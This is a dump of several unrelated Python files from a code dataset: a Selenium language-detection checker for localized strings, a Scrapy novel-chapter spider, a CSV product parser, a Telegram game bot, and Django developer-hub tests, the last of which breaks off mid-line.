+{"seq_id":"334076558","text":"import os\nimport sys\nimport time\nimport copy\nimport json\nimport traceback\nimport langcodes\nfrom pprint import pprint\nfrom SAF.misc.excel import Excel\n#from googletrans import Translator\nfrom SAF.driver import driver_factory\nfrom MobileApps.libs.ma_misc.str_id_localization import StringProcessor\n\nif not os.path.isfile(\"./data.json\"):\n    sp = StringProcessor(\"android\", None)\n    data = sp.android_build_dict_from_xml(\"/work\")\nelse:\n    fh = open(\"data.json\", \"r\", encoding=\"utf-8\")\n    data = json.load(fh)\n    fh.close()\ntotal = 0\ndata_copy = copy.deepcopy(data)\nlang_dict = {\n    \"zh-rCN\": \"zh\",\n    \"zh-rTW\": \"zh\",\n\n}\nfailed_dict={}\n\ninfo_dict = {\"server\": {\"url\": \"intsrv1u.sdg.rd.hpicorp.net\",\n                        \"port\": \"4444\"},\n                     \"dc\":{\"platform\": \"WINDOWS\",\n                           }}\ndriver = driver_factory.web_driver_factory(\"firefox\", info_dict)\nprint(\"Driver started\")\ndriver.wdvr.get(\"https://translate.google.com/\")\ndriver.wdvr.maximize_window()\ntime.sleep(5)\ndef process_dl(dl):\n    if \"no\" in dl:\n        return dl.replace(\"no\", \"nb\")\n    else:\n        return dl\n\ndef get_lang(driver, _str):\n    txt_area = driver.wdvr.find_element_by_css_selector(\"textarea\")\n    try:\n        driver.wdvr.find_element_by_css_selector(\"button[data-language-code='auto']\")\n        code_locator = \"button[data-language-code='auto']\"\n    except:\n        code_locator = \"div.sl-sugg-button-container div[role='button']\"\n\n    while \"detect language\" not in driver.wdvr.find_element_by_css_selector(code_locator).text.lower():\n        try:\n            textarea = driver.wdvr.find_element_by_css_selector(\"textarea\")\n            textarea.clear()\n            textarea.click()\n            try:\n                driver.wdvr.find_element_by_css_selector(\"button[aria-label='Clear source text']\").click()\n            except:\n                driver.wdvr.find_element_by_css_selector(\"button[aria-label='Clear text']\").click()\n        except:\n            driver.wdvr.get(\"https://translate.google.com/\")\n            time.sleep(2)\n            txt_area = driver.wdvr.find_element_by_css_selector(\"textarea\")\n            print(\"detect lang loop\")\n    txt_area.send_keys(_str[:50])\n    time.sleep(2)\n    while True:\n        detect_lang = driver.wdvr.find_element_by_css_selector(code_locator).text.lower()\n        if \"detected\" not in detect_lang:\n            textarea = driver.wdvr.find_element_by_css_selector(\"textarea\")\n            textarea.clear()\n            textarea.click()\n            textarea.send_keys(_str[:50])\n            time.sleep(2)\n            continue\n        else:\n            return langcodes.find(detect_lang.split(\" - detected\")[0]).language\n\ndef write_to_excel(str_id, lang):\n    excel = Excel(\"./test.xlsx\")\n    newsheet = excel.add_sheet(\"result\", raise_e=False)\n    if newsheet:\n        excel.write_new_record([\"str id\", \"str en\", \"str localized\", \"spec lang\", \"google detect lang\", \"manual review result\"])\n    else:\n        excel.load_sheet(\"result\")\n    str_en = lang[\"english_str\"]\n    str_localized = lang[\"localized_str\"]\n    spec_lang = lang[\"spec_lang\"]\n    detected_lang = lang[\"detected_lang\"]\n    excel.write_new_record([str_id, str_en, str_localized, spec_lang, detected_lang])\n    excel.save()\n\ndef write_json(data):\n    fh = open(\"./data.json\", \"w+\", encoding=\"utf-8\")\n    fh.write(json.dumps(data_copy))\n    fh.close()\n\nwhile data_copy != {}:\n    data = copy.deepcopy(data_copy)\n    try:\n        for key, value in data.items():\n            for lang, _str in value.items():\n                if _str == \"\":\n                    continue\n                dl = get_lang(driver, _str)\n                if lang_dict.get(lang, lang) not in process_dl(dl) and dl != \"en\":\n                    write_to_excel(key, {\"spec_lang\": lang, \"detected_lang\": dl, \"english_str\": value.get(\"en\", \"\"), \"localized_str\": _str})\n                total += 1\n                try:\n                    del data_copy[key][lang]\n                    write_json(data_copy)\n                except KeyError:\n                    pass\n                print(\"Passed: Key: \" + key + \" Lang: \" + lang + \" DL: \" + dl + \" Str: \" + _str)\n            try:\n                del data_copy[key]\n                write_json(data_copy)\n            except KeyError:\n                pass\n    except:\n        traceback.print_exc()\ndriver.close()\n","sub_path":"scripts/language_detect.py","file_name":"language_detect.py","file_ext":"py","file_size_in_byte":4340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"431464651","text":"import re\nimport scrapy\nfrom bs4 import BeautifulSoup\nfrom tutorial.items import DmozItem\nfrom tutorial.items import DcontentItem\nfrom scrapy.http import Request\nfrom tutorial.mysqlpipelines.sql import Sql\n\nclass DmozSpider(scrapy.spiders.Spider):\n    name = \"dmoz\"\n    allowed_domains = [\"23wx.com\"]\n    bash_url = 'http://www.23us.so/list/'\n    bashurl = '.html'\n\n    def start_requests(self):\n        for i in range(1, 9):\n            url = self.bash_url + str(i) + '_1' + self.bashurl\n            yield Request(url, self.parse)\n        yield Request('http://www.23us.so/full.html', self.parse)\n\n    def parse(self, response):\n\n        #获取最大页数\n        max_num = BeautifulSoup(response.text, 'lxml').find('div', {'class': 'pagelink'}).find_all('a')[-1].get_text()\n\n        bashurl = str(response.url)[:-7]\n        for num in range(1, int(max_num) + 1):\n            url = bashurl + \"_\" + str(num) + self.bashurl\n            yield Request(url, callback=self.get_name, dont_filter=True)\n\n    def get_name(self, response):\n        #获取小说名\n        tds = BeautifulSoup(response.text, 'lxml').find_all('tr', {'bgcolor': '#FFFFFF'})\n        for td in tds:\n            novel_name = td.find('a').get_text()\n            novel_url = td.find('a')['href']\n            #meta是传递给下一个的参数\n            yield Request(novel_url, callback=self.get_chapterurl, meta={'name': novel_name, 'url': novel_url}, dont_filter=True)\n\n    def get_chapterurl(self, response):\n        item = DmozItem()\n        item['name'] = str(response.meta['name']).replace('\\xa0', '')\n        item['novelurl'] = response.meta['url']\n        category = BeautifulSoup(response.text, 'lxml').find('table').find('a').get_text()\n        author = BeautifulSoup(response.text, 'lxml').find('table').find_all('td')[1].get_text()\n        bash_url = BeautifulSoup(response.text, 'lxml').find('p', class_='btnlinks').find('a', class_='read')['href']\n        name_id = str(bash_url)[-16:-11].replace('/', '')\n        item['category'] = str(category).replace('/', '')\n        item['author'] = str(author).replace('/', '')\n        item['name_id'] = name_id\n        yield item\n        yield Request(url=bash_url, callback=self.get_chapter, meta={'name_id': name_id},dont_filter=True)\n\n    def get_chapter(self, response):\n        urls = re.findall(r'<td class=\"L\"><a href=\"(.*?)\">(.*?)</a></td>', response.text)\n        num = 0\n        for url in urls:\n            num = num + 1\n            chapterurl = url[0]\n            chaptername = url[1]\n            rets = Sql.sclect_chapter(chapterurl)\n            if rets[0] == 1:\n                print('章节已经存在了')\n                return False\n            else:\n                yield Request(chapterurl, callback=self.get_chaptercontent, meta={'num': num,\n                                                                                  'name_id': response.meta['name_id'],\n                                                                                  'chaptername': chaptername,\n                                                                                  'chapterurl': chapterurl\n                                                                                  },dont_filter=True)\n\n    def get_chaptercontent(self, response):\n        item = DcontentItem()\n        item['num'] = response.meta['num']\n        item['id_name'] = response.meta['name_id']\n        item['chaptername'] = str(response.meta['chaptername']).replace('\\xa0', '')\n        item['chapterurl'] = response.meta['chapterurl']\n        content = BeautifulSoup(response.text, 'lxml').find('dd', id='contents').get_text()\n        item['chaptercontent'] = str(content).replace('\\xa0', '')\n        yield item\n","sub_path":"tutorial/spiders/dmoz_spider.py","file_name":"dmoz_spider.py","file_ext":"py","file_size_in_byte":3716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"64841484","text":"#!/usr/bin/env python\n# encoding: utf-8\nimport datetime\n\nimport config\nfrom product import *\n\n\nclass ProductsFactory:\n\n    @staticmethod\n    def __initialize__():\n        config.ITEMS_COUNT = len(open(config.CSV_FILE_FULL_NAME).readlines()) - 1\n        config.CURRENT_INDEX = 1\n        config.INITIALIZED = True\n\n    @staticmethod\n    def __from_string_to_object(line):\n        \"\"\"\n        Convertie une ligne de\n        :param line:\n        :return:\n        \"\"\"\n        elements = line.split('\\t')\n        new_item = ProductEntity()\n        new_item.Code = elements[0]\n        new_item.ProductUrl = elements[1]\n        new_item.Creator = elements[2]\n        new_item.Created = datetime.fromtimestamp(int(elements[3]))\n        new_item.Updated = datetime.fromtimestamp(int(elements[5]))\n        new_item.ProductName = elements[7]\n        new_item.GenericName = elements[8]\n        new_item.Quantity = ProductQuantity(elements[9])\n        new_item.Packaging = ProductPackaging(elements[10], elements[11], elements[24], elements[25], elements[26])\n        new_item.Brands = ProductBrands(elements[12], elements[13])\n        new_item.Categories = ProductCategories(elements[14], elements[15], elements[16])\n        new_item.Origins = ProductOrigins(elements[17], elements[18])\n        new_item.ManufacturingPlaces = ProductManufacturingPlaces(elements[19], elements[20])\n        new_item.Labels = ProductLabels(elements[21], elements[22], elements[23])\n        new_item.Cities = ProductCities(elements[27], elements[28])\n        new_item.PurchasePlaces = elements[29]\n        new_item.Stores = elements[30]\n        new_item.Countries = ProductCountries(elements[31], elements[32], elements[33])\n        new_item.Compositions = ProductCompositions()\n        new_item.Compositions.IngredientsTextAllergens = elements[34]\n        new_item.Compositions.AllergensFr = elements[35]\n        new_item.Compositions.Traces = elements[36]\n        new_item.Compositions.TracesTags = elements[37]\n        new_item.Compositions.TracesFr = elements[38]\n        new_item.Compositions.ServingSize = elements[39]\n        new_item.Compositions.ServingQuantityNoNutriments = elements[40]\n        new_item.Compositions.AdditivesN = elements[41]\n        new_item.Compositions.Additives = elements[42]\n        new_item.Compositions.AdditivesTags = elements[43]\n        new_item.Compositions.AdditivesFr = elements[44]\n        new_item.Compositions.IngredientsFromPalmOilN = elements[45]\n        new_item.Compositions.IngredientsFromPalmOil = elements[46]\n        new_item.Compositions.IngredientsFromPalmOilTags = elements[47]\n        new_item.Compositions.IngredientsThatMayBeFromPalmOilN = elements[48]\n        new_item.Compositions.IngredientsThatMayBeFromPalmOil = elements[49]\n        new_item.Compositions.IngredientsThatMayBeFromPalmOilTags = elements[50]\n        new_item.Compositions.NutritionGradeFr = elements[51]\n        new_item.Compositions.NovaGroup = elements[52]\n        new_item.Compositions.PnnsGroups1 = elements[53]\n        new_item.Compositions.PnnsGroups2 = elements[54]\n        new_item.States = ProductStates(elements[55], elements[56], elements[57])\n        new_item.main_category = ProductMainCategorie(elements[59])\n        return new_item\n\n    @staticmethod\n    def init_parameters():\n        config.INITIALIZED = False\n\n    @staticmethod\n    def has_next():\n        if not config.INITIALIZED:\n            ProductsFactory.__initialize__()\n        return config.CURRENT_INDEX < config.ITEMS_COUNT\n\n    @staticmethod\n    def get_next():\n        if not config.INITIALIZED:\n            ProductsFactory.__initialize__()\n\n        with open(config.CSV_FILE_FULL_NAME) as csv:\n            for i, l in enumerate(csv):\n                if i == config.CURRENT_INDEX:\n                    break\n        config.CURRENT_INDEX += 1\n        new_item = ProductsFactory.__from_string_to_object(l)\n        return new_item\n\n\nwhile ProductsFactory.has_next():\n    next_item = ProductsFactory.get_next()\n    print(next_item.main_category)\n    #break\n\n","sub_path":"product_factory.py","file_name":"product_factory.py","file_ext":"py","file_size_in_byte":4030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"94296311","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport telebot\nfrom bot_utils import config, bot_handlers, bot_methods\nimport dynamic_dicts\nfrom fight import fight_main, units, weapons\nimport time\nfrom chat_wars import chat_main, chat_lobbies, chat_menu, user_menu\nimport sys\nimport os\nimport subprocess\n\nunits.fill_unit_dict()\n\nbot = telebot.TeleBot(config.token, threaded=False)\n# Снимаем вебхук перед повторной установкой (избавляет от некоторых проблем)\n\nx = '5.9.142.124:3128'\ntelebot.apihelper.proxy = {\n'http': 'http://{}'.format(x),\n'https': 'http://{}'.format(x)\n}\n\n\nstart_time = time.time()\ncall_handler = bot_handlers.CallbackHandler()\ngame_dict = dynamic_dicts.lobby_list\ntypes = telebot.types\n\n\nbot.send_message(config.admin_id, 'Инициация бота...')\nbot.locked = False\n\n\n@bot.message_handler(func=lambda message: True if bot.locked and message.from_user.id != config.admin_id else False,\n                     content_types=['text'])\ndef start(message):\n    pass\n\n\n@bot.message_handler(commands=['lock'])\ndef start(message):\n    if message.from_user.id == config.admin_id:\n        bot.reply_to(message, 'Бот заблокирован.')\n        bot.locked = True\n\n\n@bot.message_handler(commands=['unlock'])\ndef start(message):\n    if message.from_user.id == config.admin_id:\n        bot.reply_to(message, 'Бот разблокирован.')\n        bot.locked = False\n\n\n@bot.message_handler(commands=['unlock'])\ndef start(message):\n    if message.from_user.id == config.admin_id:\n        os.execl(sys.executable, 'python',  __file__, *sys.argv[1:])\n\n\n@bot.message_handler(commands=['restart'])\ndef start(message):\n    if message.from_user.id == config.admin_id:\n        os.execl(sys.executable, 'python',  __file__, *sys.argv[1:])\n\n\n@bot.message_handler(commands=['update'])\ndef start(message):\n  \n    if message.from_user.id == config.admin_id:\n        bot.stop_polling()\n        bot.send_message(config.main_chat_id, 'Обновление git...')\n        subprocess.Popen(['bash', './update.sh'])\n\n\n@bot.message_handler(commands=['error'])\ndef start(message):\n  \n    if message.from_user.id == config.admin_id:\n        bot_methods.err(message.for_error)\n\n\n@bot.message_handler(commands=['stop'])\ndef start(message):\n  \n    if message.from_user.id == config.admin_id:\n        bot.stop_polling()\n\n\n@bot.message_handler(commands=['echo'])\ndef start(message):\n  \n    if message.from_user.id == config.admin_id:\n        bot_methods.err(message.chat.id)\n        bot.send_message(config.admin_id, message.text)\n\n    \n@bot.message_handler(commands=[\"start\"])\ndef game(message):\n    if len(message.text.split(' ')) > 1:\n        data = message.text.split(' ')[1].split('_')\n        import dynamic_dicts\n        if data[1] in dynamic_dicts.lobby_list:\n            chat_main.add_user(message.from_user.id)\n            user = chat_menu.get_user(message.from_user.id)\n            unit_dict = user.get_unit_dict(name=message.from_user.first_name)\n            dynamic_dicts.lobby_list[data[1]].player_join(message.from_user.id, unit_dict=unit_dict)\n            bot_methods.send_message(message.from_user.id, 'Вы успешно присоединились.')\n\n\n@bot.message_handler(commands=[\"dicts\"])\ndef switch(message):\n    import dynamic_dicts\n    dynamic_dicts.print_dicts()\n\n\n@bot.message_handler(commands=['start_game'])\ndef start(message):\n    if message.chat.id in game_dict:\n        game_dict[message.chat.id].ask_start()\n\n\n@bot.message_handler(commands=['map'])\ndef start(message):\n    chat = chat_main.pyossession.get_chat(message.chat.id)\n    chat.clear_used_items()\n    from adventures import maps\n    dung = chat_lobbies.Dungeon(message.chat.id, maps.Forest)\n    dung.send_lobby()\n\n\n@bot.message_handler(commands=['pvp'])\ndef start(message):\n    chat = chat_main.pyossession.get_chat(message.chat.id)\n    chat.clear_used_items()\n    dung = chat_lobbies.Lobby1x1(message.chat.id)\n    dung.send_lobby()\n\n\n@bot.message_handler(commands=['test_fight'])\ndef start(message):\n    from fight.unit_files import human, red_oak, bloodbug, ogre\n    my_unit = human.Human(message.from_user.first_name)\n    my_unit.weapon = weapons.Hatchet()\n    enemy_class = red_oak.RedOak\n    enemy = enemy_class()\n    bot_methods.send_image(chat_id=message.chat.id, message='111', image=open(enemy.image, 'rb'))\n    fight_main.thread_fight([{message.chat.id: my_unit.to_dict()},\n                             {(enemy_class, 1): enemy.to_dict()}], chat_id=message.chat.id)\n\n\n@bot.message_handler(commands=['join_chat'])\ndef start(message):\n    chat = chat_main.pyossession.get_chat(message.chat.id)\n    chat.add_user(message.from_user.id)\n\n\n@bot.message_handler(commands=['chat_management'])\ndef start(message):\n    chat = chat_main.get_chat(message.chat.id)\n    chat_menu.chat_action_dict['main'](chat, message.from_user.id, call=None).func()\n\n\n@bot.message_handler(commands=['player'])\ndef start(message):\n    user = chat_main.get_user(message.from_user.id)\n    user_menu.user_action_dict['main'](user, message.from_user.id).func()\n\n\n@bot.message_handler(commands=['test'])\ndef start(message):\n    smile_text = message.text.split()[-1]\n    print(smile_text)\n    output = (smile_text\n              .encode('raw_unicode_escape')\n              )\n    bot_methods.send_message(message.chat.id, output)\n\n\n@bot.message_handler(commands=['test_add_chat'])\ndef start(message):\n    if message.chat.id < 0:\n        chat_main.add_chat(message.chat.id, message.chat.title, message.from_user.id)\n\n\n@bot.message_handler(commands=['start_attack'])\ndef start(message):\n    bot_methods.err(message)\n    if message.chat.id < 0:\n        chat = chat_main.pyossession.get_chat(message.chat.id)\n        chat.ask_attack(message.from_user.id)\n\n\n@bot.message_handler(commands=['show_resources'])\ndef start(message):\n        chat = chat_main.get_chat(message.chat.id)\n        chat.print_resources()\n\n\n@bot.message_handler(commands=['add_resources'])\ndef start(message):\n        chat = chat_main.get_chat(message.chat.id)\n        chat.add_resources(500)\n\n\n@bot.message_handler(commands=['show_items'])\ndef start(message):\n        chat = chat_main.get_chat(message.chat.id)\n        chat.print_items()\n\n\n@bot.message_handler(commands=['resources'])\ndef start(message):\n    try:\n        resources = int(message.text.split()[1])\n        chat = chat_main.get_chat(message.chat.id)\n        chat.add_resources(resources)\n    except:\n        return False\n\n\n@bot.message_handler(commands=['show_receipts'])\ndef start(message):\n        chat = chat_main.get_chat(message.chat.id)\n        chat.print_receipts()\n\n\n@bot.message_handler(func=lambda message: True, commands=['show_items'])\ndef start(message):\n        chat = chat_main.get_chat(message.chat.id)\n        chat.print_items()\n\n\n@bot.message_handler(commands=['craft'])\ndef start(message):\n        chat = chat_main.get_chat(message.chat.id)\n        chat.ask_craft(message.from_user.id)\n\n\n@bot.message_handler(commands=['next_step'])\ndef start(message):\n        chat_main.current_war.next_step(message.chat.id)\n\n\n@bot.message_handler(content_types=['photo'])\ndef start(message):\n    bot_methods.err(message.photo[0].file_id)\n\n\n@bot.callback_query_handler(func=lambda call: call)\ndef action(call):\n    try:\n        call_handler.handle(call)\n    except Exception as e:\n        import traceback\n        bot_methods.err(traceback.format_exc())\n\nbot.skip_pending = True\n\nif __name__ == '__main__':\n    bot.polling(none_stop=True)\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":7510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"334729993","text":"from decimal import Decimal\nimport re\nimport socket\n\nfrom django import forms\nfrom django.utils import translation\n\nimport mock\nfrom nose.tools import eq_, assert_not_equal\nfrom pyquery import PyQuery as pq\nimport test_utils\n\nimport amo\nimport paypal\nfrom amo.urlresolvers import reverse\nfrom addons.models import Addon, AddonUser, Charity\nfrom applications.models import AppVersion\nfrom devhub.forms import ContribForm\nfrom files.models import File, Platform\nfrom users.models import UserProfile\nfrom versions.models import License, Version\n\n\nclass HubTest(test_utils.TestCase):\n    fixtures = ('browse/nameless-addon', 'base/users')\n\n    def setUp(self):\n        translation.activate('en-US')\n\n        self.url = reverse('devhub.index')\n        self.login_as_developer()\n        eq_(self.client.get(self.url).status_code, 200)\n\n        self.user_profile = UserProfile.objects.get(id=999)\n        self.num_addon_clones = 0\n\n    def login_as_developer(self):\n        self.client.login(username='regular@mozilla.com', password='password')\n\n    def clone_addon(self, num_copies, addon_id=57132):\n        for i in xrange(num_copies):\n            addon = Addon.objects.get(id=addon_id)\n            addon.id = addon.guid = None\n            addon.save()\n            AddonUser.objects.create(user=self.user_profile, addon=addon)\n\n            new_addon = Addon.objects.get(id=addon.id)\n            new_addon.name = 'addon-%s' % self.num_addon_clones\n            new_addon.save()\n\n            self.num_addon_clones += 1\n\n\nclass TestNav(HubTest):\n\n    def test_navbar(self):\n        r = self.client.get(self.url)\n        doc = pq(r.content)\n        eq_(doc('#navbar').length, 1)\n\n    def test_no_addons(self):\n        \"\"\"Check that no add-ons are displayed for this user.\"\"\"\n        r = self.client.get(self.url)\n        doc = pq(r.content)\n        assert_not_equal(doc('#navbar ul li.top a').eq(0).text(),\n            'My Add-ons',\n            'My Add-ons menu should not be visible if user has no add-ons.')\n\n    def test_my_addons(self):\n        \"\"\"Check that the correct items are listed for the My Add-ons menu.\"\"\"\n        # Assign this add-on to the current user profile.\n        addon = Addon.objects.get(id=57132)\n        AddonUser.objects.create(user=self.user_profile, addon=addon)\n\n        r = self.client.get(self.url)\n        doc = pq(r.content)\n\n        # Check the anchor for the 'My Add-ons' menu item.\n        eq_(doc('#navbar ul li.top a').eq(0).text(), 'My Add-ons')\n\n        # Check the anchor for the single add-on.\n        edit_url = reverse('devhub.addons.edit', args=[57132])\n        eq_(doc('#navbar ul li.top li a').eq(0).attr('href'), edit_url)\n\n        # Create 6 add-ons.\n        self.clone_addon(6)\n\n        r = self.client.get(self.url)\n        doc = pq(r.content)\n\n        # There should be 8 items in this menu.\n        eq_(doc('#navbar ul li.top').eq(0).find('ul li').length, 8)\n\n        # This should be the 8th anchor, after the 7 addons.\n        eq_(doc('#navbar ul li.top').eq(0).find('li a').eq(7).text(),\n            'Submit a New Add-on')\n\n        self.clone_addon(1)\n\n        r = self.client.get(self.url)\n        doc = pq(r.content)\n        eq_(doc('#navbar ul li.top').eq(0).find('li a').eq(7).text(),\n            'more add-ons...')\n\n\nclass TestDashboard(HubTest):\n\n    def setUp(self):\n        super(TestDashboard, self).setUp()\n        self.url = reverse('devhub.addons')\n        eq_(self.client.get(self.url).status_code, 200)\n\n    def test_no_addons(self):\n        \"\"\"Check that no add-ons are displayed for this user.\"\"\"\n        r = self.client.get(self.url)\n        doc = pq(r.content)\n        eq_(doc('.item item').length, 0)\n\n    def test_addons_items(self):\n        \"\"\"Check that the correct info. is displayed for each add-on:\n        namely, that add-ons are paginated at 10 items per page, and that\n        when there is more than one page, the 'Sort by' header and pagination\n        footer appear.\n\n        \"\"\"\n        # Create 10 add-ons.\n        self.clone_addon(10)\n\n        r = self.client.get(self.url)\n        doc = pq(r.content)\n\n        # There should be 10 add-on listing items.\n        eq_(len(doc('.item .item-info')), 10)\n\n        # There should be neither a listing header nor a pagination footer.\n        eq_(doc('#addon-list-options').length, 0)\n        eq_(doc('.listing-footer .pagination').length, 0)\n\n        # Create 5 add-ons.\n        self.clone_addon(5)\n\n        r = self.client.get(self.url + '?page=2')\n        doc = pq(r.content)\n\n        # There should be 10 add-on listing items.\n        eq_(len(doc('.item .item-info')), 5)\n\n        # There should be a listing header and pagination footer.\n        eq_(doc('#addon-list-options').length, 1)\n        eq_(doc('.listing-footer .pagination').length, 1)\n\n\ndef formset(*args, **kw):\n    \"\"\"\n    Build up a formset-happy POST.\n\n    *args is a sequence of forms going into the formset.\n    prefix and initial_count can be set in **kw.\n    \"\"\"\n    prefix = kw.pop('prefix', 'form')\n    initial_count = kw.pop('initial_count', len(args))\n    data = {prefix + '-TOTAL_FORMS': len(args),\n            prefix + '-INITIAL_FORMS': initial_count}\n    for idx, d in enumerate(args):\n        data.update(('%s-%s-%s' % (prefix, idx, k), v)\n                    for k, v in d.items())\n    data.update(kw)\n    return data\n\n\nclass TestOwnership(test_utils.TestCase):\n    fixtures = ['base/apps', 'base/users', 'base/addon_3615']\n\n    def setUp(self):\n        self.url = reverse('devhub.addons.owner', args=[3615])\n        assert self.client.login(username='del@icio.us', password='password')\n        self.addon = Addon.objects.get(id=3615)\n        self.version = self.addon.current_version\n\n    def formset(self, *args, **kw):\n        defaults = {'builtin': License.OTHER, 'text': 'filler'}\n        defaults.update(kw)\n        return formset(*args, **defaults)\n\n    def get_version(self):\n        return Version.objects.no_cache().get(id=self.version.id)\n\n    def get_addon(self):\n        return Addon.objects.no_cache().get(id=self.addon.id)\n\n\nclass TestEditPolicy(TestOwnership):\n\n    def formset(self, *args, **kw):\n        init = self.client.get(self.url).context['user_form'].initial_forms\n        args = args + tuple(f.initial for f in init)\n        return super(TestEditPolicy, self).formset(*args, **kw)\n\n    def test_edit_eula(self):\n        old_eula = self.addon.eula\n        data = self.formset(eula='new eula', has_eula=True)\n        r = self.client.post(self.url, data)\n        eq_(r.status_code, 302)\n        addon = self.get_addon()\n        eq_(unicode(addon.eula), 'new eula')\n        eq_(addon.eula.id, old_eula.id)\n\n    def test_delete_eula(self):\n        assert self.addon.eula\n        r = self.client.post(self.url, self.formset(has_eula=False))\n        eq_(r.status_code, 302)\n        eq_(self.get_addon().eula, None)\n\n\nclass TestEditLicense(TestOwnership):\n\n    def setUp(self):\n        super(TestEditLicense, self).setUp()\n        self.version.license = None\n        self.version.save()\n        self.license = License.objects.create(builtin=1, name='bsd',\n                                              on_form=True)\n\n    def formset(self, *args, **kw):\n        init = self.client.get(self.url).context['user_form'].initial_forms\n        args = args + tuple(f.initial for f in init)\n        kw['initial_count'] = len(init)\n        data = super(TestEditLicense, self).formset(*args, **kw)\n        if 'text' not in kw:\n            del data['text']\n        return data\n\n    def test_success_add_builtin(self):\n        data = self.formset(builtin=1)\n        r = self.client.post(self.url, data)\n        eq_(r.status_code, 302)\n        eq_(self.license, self.get_version().license)\n\n    def test_success_add_custom(self):\n        data = self.formset(builtin=License.OTHER, text='text', name='name')\n        r = self.client.post(self.url, data)\n        eq_(r.status_code, 302)\n        license = self.get_version().license\n        eq_(unicode(license.text), 'text')\n        eq_(unicode(license.name), 'name')\n        eq_(license.builtin, License.OTHER)\n\n    def test_success_edit_custom(self):\n        data = self.formset(builtin=License.OTHER, text='text', name='name')\n        r = self.client.post(self.url, data)\n        license_one = self.get_version().license\n\n        data = self.formset(builtin=License.OTHER, text='woo', name='name')\n        r = self.client.post(self.url, data)\n        eq_(r.status_code, 302)\n        license_two = self.get_version().license\n        eq_(unicode(license_two.text), 'woo')\n        eq_(unicode(license_two.name), 'name')\n        eq_(license_two.builtin, License.OTHER)\n        eq_(license_two.id, license_one.id)\n\n    def test_success_switch_license(self):\n        data = self.formset(builtin=1)\n        r = self.client.post(self.url, data)\n        license_one = self.get_version().license\n\n        data = self.formset(builtin=License.OTHER, text='text', name='name')\n        r = self.client.post(self.url, data)\n        eq_(r.status_code, 302)\n        license_two = self.get_version().license\n        eq_(unicode(license_two.text), 'text')\n        eq_(unicode(license_two.name), 'name')\n        eq_(license_two.builtin, License.OTHER)\n        assert license_one != license_two\n\n        # Make sure the old license wasn't edited.\n        license = License.objects.get(builtin=1)\n        eq_(unicode(license.name), 'bsd')\n\n        data = self.formset(builtin=1)\n        r = self.client.post(self.url, data)\n        eq_(r.status_code, 302)\n        license_three = self.get_version().license\n        eq_(license_three, license_one)\n\n    def test_custom_has_text(self):\n        data = self.formset(builtin=License.OTHER, name='name')\n        r = self.client.post(self.url, data)\n        eq_(r.status_code, 200)\n        self.assertFormError(r, 'license_form', None,\n                             'License text is required when choosing Other.')\n\n    def test_custom_has_name(self):\n        data = self.formset(builtin=License.OTHER, text='text')\n        r = self.client.post(self.url, data)\n        eq_(r.status_code, 302)\n        license = self.get_version().license\n        eq_(unicode(license.text), 'text')\n        eq_(unicode(license.name), 'Custom License')\n        eq_(license.builtin, License.OTHER)\n\n    def test_no_version(self):\n        # Make sure nothing bad happens if there's no version.\n        self.addon.update(_current_version=None)\n        Version.objects.all().delete()\n        data = self.formset(builtin=License.OTHER, text='text')\n        r = self.client.post(self.url, data)\n        eq_(r.status_code, 302)\n\n\nclass TestEditAuthor(TestOwnership):\n\n    def test_success_add_user(self):\n        q = (AddonUser.objects.no_cache().filter(addon=3615)\n             .values_list('user', flat=True))\n        eq_(list(q.all()), [55021])\n\n        f = self.client.get(self.url).context['user_form'].initial_forms[0]\n        u = dict(user='regular@mozilla.com', listed=True,\n                 role=amo.AUTHOR_ROLE_DEV, position=0)\n        data = self.formset(f.initial, u, initial_count=1)\n        r = self.client.post(self.url, data)\n        eq_(r.status_code, 302)\n        eq_(list(q.all()), [55021, 999])\n\n    def test_success_edit_user(self):\n        # Add an author b/c we can't edit anything about the current one.\n        f = self.client.get(self.url).context['user_form'].initial_forms[0]\n        u = dict(user='regular@mozilla.com', listed=True,\n                 role=amo.AUTHOR_ROLE_DEV, position=1)\n        data = self.formset(f.initial, u, initial_count=1)\n        self.client.post(self.url, data)\n        eq_(AddonUser.objects.get(addon=3615, user=999).listed, True)\n\n        # Edit the user we just added.\n        user_form = self.client.get(self.url).context['user_form']\n        one, two = user_form.initial_forms\n        del two.initial['listed']\n        empty = dict(user='', listed=True, role=5, position=0)\n        data = self.formset(one.initial, two.initial, empty, initial_count=2)\n        r = self.client.post(self.url, data)\n        eq_(r.status_code, 302)\n        eq_(AddonUser.objects.no_cache().get(addon=3615, user=999).listed,\n            False)\n\n    def test_add_user_twice(self):\n        f = self.client.get(self.url).context['user_form'].initial_forms[0]\n        u = dict(user='regular@mozilla.com', listed=True,\n                 role=amo.AUTHOR_ROLE_DEV, position=1)\n        data = self.formset(f.initial, u, u, initial_count=1)\n        r = self.client.post(self.url, data)\n        eq_(r.status_code, 200)\n        eq_(r.context['user_form'].non_form_errors(),\n            ['An author can only be listed once.'])\n\n    def test_success_delete_user(self):\n        # Add a new user so we have one to delete.\n        data = self.formset(dict(user='regular@mozilla.com', listed=True,\n                                 role=amo.AUTHOR_ROLE_OWNER, position=1),\n                            initial_count=0)\n        self.client.post(self.url, data)\n\n        one, two = self.client.get(self.url).context['user_form'].initial_forms\n        one.initial['DELETE'] = True\n        data = self.formset(one.initial, two.initial, initial_count=2)\n        r = self.client.post(self.url, data)\n        eq_(r.status_code, 302)\n        eq_(999, AddonUser.objects.get(addon=3615).user_id)\n\n    def test_switch_owner(self):\n        # See if we can transfer ownership in one POST.\n        f = self.client.get(self.url).context['user_form'].initial_forms[0]\n        f.initial['user'] = 'regular@mozilla.com'\n        data = self.formset(f.initial, initial_count=1)\n        r = self.client.post(self.url, data)\n        eq_(r.status_code, 302)\n        eq_(999, AddonUser.objects.get(addon=3615).user_id)\n\n    def test_only_owner_can_edit(self):\n        f = self.client.get(self.url).context['user_form'].initial_forms[0]\n        u = dict(user='regular@mozilla.com', listed=True,\n                 role=amo.AUTHOR_ROLE_DEV, position=0)\n        data = self.formset(f.initial, u, initial_count=1)\n        self.client.post(self.url, data)\n\n        self.client.login(username='regular@mozilla.com', password='password')\n        self.client.post(self.url, data, 